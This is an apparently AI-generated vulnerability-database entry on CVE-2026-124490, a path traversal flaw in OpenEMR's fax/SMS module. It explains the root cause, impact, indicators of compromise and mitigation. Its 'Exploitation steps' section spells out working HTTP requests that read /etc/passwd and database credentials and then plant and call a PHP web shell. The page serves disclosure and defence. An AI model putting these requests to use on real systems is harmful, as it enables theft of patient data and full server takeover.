Vulnerability DatabaseCVE-2026-124490

CVE-2026-124490: 
OpenEMR vulnerability analysis and mitigation

Overview

CVE-2026-124490 is a path traversal vulnerability (External Control of File Name or Path) in OpenEMR's oe-module-faxsms module, specifically within the RingCentral RCFaxClient::disposeDocument() method. It allows authenticated attackers with high privileges to read and write arbitrary files on the server via the unsanitized file_path parameter. All OpenEMR versions before 8.3.0 are affected; the vulnerability was published on November 8, 2026, with the original security advisory authored by researcher nglong05 and published August 18, 2026. It carries a CVSS v3.1 score of 9.1 (Critical) and a CVSS v4.0 score of 9.4 (Critical) (OpenEMR Advisory, Github Advisory).

Technical details

The root cause is CWE-73 (External Control of File Name or Path) combined with CWE-434 (Unrestricted Upload of File with Dangerous Type). The vulnerable disposeDocument() method in interface/modules/custom_modules/oe-module-faxsms/src/Controller/RCFaxClient.php accepts the file_path parameter directly from user input without any path traversal sanitization or authentication enforcement within the method itself. Two exploitation paths exist: (1) action=download passes the attacker-controlled $where variable directly to readfile() via the sendFile() helper, enabling arbitrary file reads; (2) action=setup base64-decodes attacker-supplied content and writes it to the attacker-controlled $where path using file_put_contents(), enabling arbitrary file writes. This is a sibling bug to a previously patched vulnerability in EtherFaxActions::disposeDocument, which received authentication and path restriction hardening that was not applied to RCFaxClient (OpenEMR Advisory).

Impact

Successful exploitation allows an authenticated attacker to read highly sensitive server files — including database credentials, environment configuration files, cached authentication tokens, and application source code — or write arbitrary content to any path writable by the web server process. If the write primitive is used to drop a PHP web shell into a web-accessible and executable directory, the impact escalates to full remote code execution and complete system compromise. Given OpenEMR's role as an electronic health records platform in healthcare environments, exploitation could expose protected health information (PHI) and enable lateral movement to connected clinical systems (OpenEMR Advisory, Github Advisory).

Exploitability

A proof-of-concept exploit consisting of concrete, copy-ready HTTP GET requests is publicly available in the OpenEMR security advisory, demonstrating both the file read and file write primitives (OpenEMR Advisory). As of the time of publication, there is no evidence of active in-the-wild exploitation, and the NVD SSVC assessment confirms exploitation status as "none." The EPSS score is approximately 0.36–0.55%, placing it in the 47th percentile for exploitation probability within 30 days. The vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires a valid authenticated backend session and the oe-module-faxsms module configured with RingCentral as the active vendor (Github Advisory).

Exploitation steps

  1. Reconnaissance: Identify OpenEMR instances running versions before 8.3.0 with the oe-module-faxsms module enabled and RingCentral configured as the fax/SMS vendor. This can be done via Shodan, Censys, or by probing the module path /interface/modules/custom_modules/oe-module-faxsms/.
  2. Authenticate: Obtain a valid OpenEMR backend session by logging in with any valid user credentials. Capture the session cookie (e.g., App=OpenEMR; OpenEMR=<VALID_SESSION>).
  3. Arbitrary file read: Send the following GET request to read sensitive files such as /etc/passwd or OpenEMR's database configuration:
GET /interface/modules/custom_modules/oe-module-faxsms/index.php?type=fax&_ACTION_COMMAND=disposeDocument&action=download&file_path=/etc/passwd HTTP/1.1
Host: <target>
Cookie: App=OpenEMR; OpenEMR=<VALID_SESSION>

The server responds with the raw file contents via readfile(). 4. Harvest credentials: Use the file read primitive to retrieve database credentials from OpenEMR configuration files (e.g., sqlconf.php) or environment files. 5. Arbitrary file write: Base64-encode a PHP web shell payload (e.g., <?php system($_GET['cmd']); ?>) and send it to a web-accessible directory:

GET /interface/modules/custom_modules/oe-module-faxsms/index.php?type=fax&_ACTION_COMMAND=disposeDocument&action=setup&file_path=/var/www/html/openemr/shell.php&content=PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+ HTTP/1.1
Host: <target>
Cookie: App=OpenEMR; OpenEMR=<VALID_SESSION>
  1. Achieve remote code execution: Request the dropped web shell to execute arbitrary OS commands:
GET /openemr/shell.php?cmd=id HTTP/1.1
Host: <target>

(OpenEMR Advisory)

Indicators of compromise

  • Network: Unusual HTTP GET requests to /interface/modules/custom_modules/oe-module-faxsms/index.php with parameters _ACTION_COMMAND=disposeDocument and action=download or action=setup; requests containing file_path values with absolute paths (e.g., /etc/passwd, /var/www/, ../) or base64-encoded content parameters.
  • Logs: Web server access logs showing repeated or anomalous requests to the oe-module-faxsms module endpoint with path traversal sequences in query parameters; HTTP 200 responses to requests for sensitive system files.
  • File System: Unexpected PHP files (e.g., web shells) appearing in web-accessible OpenEMR directories; new or modified files in /tmp/ or web root directories with recent timestamps and web-server ownership; files with names inconsistent with normal OpenEMR operation.
  • Process: Unusual child processes spawned by the web server process (e.g., Apache/Nginx/PHP-FPM spawning /bin/bash, curl, wget, python, or nc); outbound network connections from the web server to unknown external IPs.
  • Application: OpenEMR audit logs showing authenticated users accessing the disposeDocument action outside of normal fax/SMS workflows; access to configuration files or system paths via the faxsms module endpoint. (OpenEMR Advisory)

Mitigation and workarounds

The primary remediation is to upgrade OpenEMR to version 8.3.0 or later, which contains the patch for this vulnerability (OpenEMR Advisory). If immediate upgrade is not possible, administrators should disable the oe-module-faxsms module or restrict access to the module's endpoint via web server configuration (e.g., deny access to /interface/modules/custom_modules/oe-module-faxsms/ for non-essential users). Additionally, apply the principle of least privilege for OpenEMR user accounts, restrict administrative access to authorized personnel only, and monitor file system activity for suspicious path traversal attempts. Ensure the web server process runs with minimal filesystem permissions to limit the impact of the write primitive.

Community reactions

The vulnerability was reported by researcher nglong05 and published as a GitHub Security Advisory by OpenEMR maintainer bradymiller on August 18, 2026 (OpenEMR Advisory). Security news outlets including BrandDefense and ThreatAft covered the vulnerability as part of a cluster of critical OpenEMR vulnerabilities disclosed around the same period. The Mastodon account @thehackerwire also noted the disclosure. Community reaction highlighted the particular risk to healthcare environments where digital fax integration via RingCentral is a common workflow.

Additional resources


Source: This report was generated using AI

Related OpenEMR vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-126491HIGH8.3
  • OpenEMR logoOpenEMR
  • cpe:2.3:a:open-emr:openemr
NoYesNov 13, 2026
CVE-2026-126494HIGH7.1
  • OpenEMR logoOpenEMR
  • cpe:2.3:a:open-emr:openemr
NoYesNov 13, 2026
CVE-2026-126492HIGH7.1
  • OpenEMR logoOpenEMR
  • cpe:2.3:a:open-emr:openemr
NoYesNov 13, 2026
CVE-2026-126493MEDIUM4.8
  • OpenEMR logoOpenEMR
  • cpe:2.3:a:open-emr:openemr
NoYesNov 13, 2026
CVE-2026-126490LOW2.3
  • OpenEMR logoOpenEMR
  • cpe:2.3:a:open-emr:openemr
NoYesNov 13, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management